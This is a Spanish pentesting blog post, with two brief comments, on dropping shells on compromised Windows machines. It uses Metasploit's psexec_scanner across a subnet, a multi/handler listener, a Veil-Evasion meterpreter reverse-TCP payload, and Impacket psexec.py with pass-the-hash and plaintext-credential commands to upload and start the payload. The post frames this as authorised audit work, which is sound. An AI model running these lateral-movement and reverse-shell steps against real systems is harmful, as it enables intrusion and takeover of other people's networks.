How to drop Shells in Windows

En este post vamos a ver dos maneras de droppear shells en equipos Windows, no voy a entrar en detalles de cómo llegar a comprometer un equipo, asumo que ya está hecho y que habéis volcado los hashes o credenciales en texto plano utilizando Mimikatz o alguna herramienta similar.

La primera de ellas será utilizando Metasploit y psexec_scanner,un grandioso módulo de Darkoperator, la segunda mediante psexec.py de IMPACKET.

En primer lugar, bajaremos el módulo psexec_scanner de Github, lo dejaremos en nuestra carpeta de modules, en mi caso he optado por dejarlo en /uxiliary/scanner/smb/psexec_scanner.rb.

Una vez dejamos el módulo en la carpeta, abrimos nuestro msfconsole y cargamos el modulo (use /uxiliary/scanner/smb/psexec_scanner), configuramos la opciones (LHOST, LPORT, PAYLOAD, RHOSTS, etc..). Antes de hacer nada más, quiero destacar que al contrario que los módulos que vienen en Metasplot de psexec:

  • exploit/windows/smb/psexec
  • exploit/windows/smb/psexec_psh

Este módulo permite utilizar múltiples RHOST, por lo que le podemos pasar un /24. Lo que significa que «is going to rain shells».

Ahora imaginad que os hacéis con un controlador de dominio durante una auditoria y queréis desplegar el agente de OpenDLP, it’s time to sit back and relax.

Ilustración 1: Show options psexec_scanner

Ilustración 1: Show options psexec_scanner

Bueno antes que nada vamos a levantar nuestro listener (exploit/multi/handler), también decir que el módulo ya te levanta un listener automáticamente, pero por la costumbre de tenerlo en otro tab lo he deshabilitado (set HANDLER false).

Cuando configuramos nuestro listener es importante habilitar la opción de (set exitOnSession false) para que lo deje en el background y no pare el listener al recibir la primera conexión.

Ilustración 2: Metasploit multi/hanlder

Ilustración 2: Metasploit multi/hanlder

Con todo ya en marcha, volvemos al psexec_scanner y lo ejecutamos.

Ilustración 3: Run psexec_scanner

Ilustración 3: Run psexec_scanner

En nuestro caso solo teníamos un equipo, en el segmento de red (X.X.X.X/24).

En la siguiente imagen, podemos ver que todo ha salido a la perfección y tenemos nuestra sesión de Metaploit lista para el -i.

Ilustración 4: Sesión Metasploit

Ilustración 4: Sesión Metasploit

Porque sabemos que a veces las cosas no funcionan, vamos a pasar a usar nuestro segundo método. Aunque éste no tiene la opción de múltiples host, es igual o más eficaz que el anterior.

Los desarrolladores de IMPACKETnos han dejado con una maravillosa biblioteca en Python que incluye un módulo de psexec (psexec.py), esto nos permitirá abrir una cmd en el equipo remoto. Además de esto, también viene con funcionalidades adicionales, como la de subir archivos a través del método PUT de SMB.

Podéis descargar IMPACKET desde este enlace en Github.

Vamos a usar la funcionalidad de subir archivos mediante psexec.py para subir un paylaod/meterpreter que vamos a crear con Veil-Evasion.

Para ello ejecutamos nuestro Veil-Evasion y configuramos nuestras opciones (PAYLOAD, LHOST, LPORT). En mi caso estoy usando el paylaod 5 (use 5) c/meterpreter/rev_tcp, una vez tenemos todo configurado ejecutamos la opción generate para que nos compile el .exe.

Ilustración 5: Payload compilado

Ilustración 5: Payload compilado

Con nuestro paylaod recién sacado de horno, nos vamos a la carpeta donde lo hemos generado (cd /usr/share/veil-output/compiled/). En este punto, ya podemos ejecutar psexec.py, para ello tenemos la opción de utilizar hashes o bien credenciales en claro.

Hashes
[-hashes LMHASH:NTHASH usuario@ip comando]: psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e7266baa0b2c803c3e4e9c70ff50041f administrador@X.X.X.X cmd.exe

Credenciales en claro
[usuario:contraseña@ip comando]: psexec.py administrador:metasploit@X.X.X.X cmd.exe

Como podemos ver en la siguiente imagen nos ha abierto una cmd.

Ilustración 6: Psexec.py

Ilustración 6: Psexec.py

Una vez aquí podemos utilizar el comando PUT para subir para el paylaod que generamos anteriormente con el Veil-Evasion.

Para subir el paylaod ejecutamos el siguiente comando: put SecurityArtwork.exe

Para ejecutarlo: start C:\Windows\SecurityArtwork.exe

Una vez en este punto, si lo hemos hecho todo bien deberíamos tener una sesión de Metasploit abierta como podemos ver en la siguiente imagen.

Ilustración 7: Sesión psexec.py

Ilustración 7: Sesión psexec.py

Por último, siempre que utilizamos el comando PUT, una vez cerréis la sesión de Metasploit acordaros de borrar el archivo del /f C:\Windows\SecurityArtwork.exe.

Espero os sirva para pwnear :D equipos a los cuales estéis autorizados.

Comments

  1. Gran post Brian :D

  2. Thx :)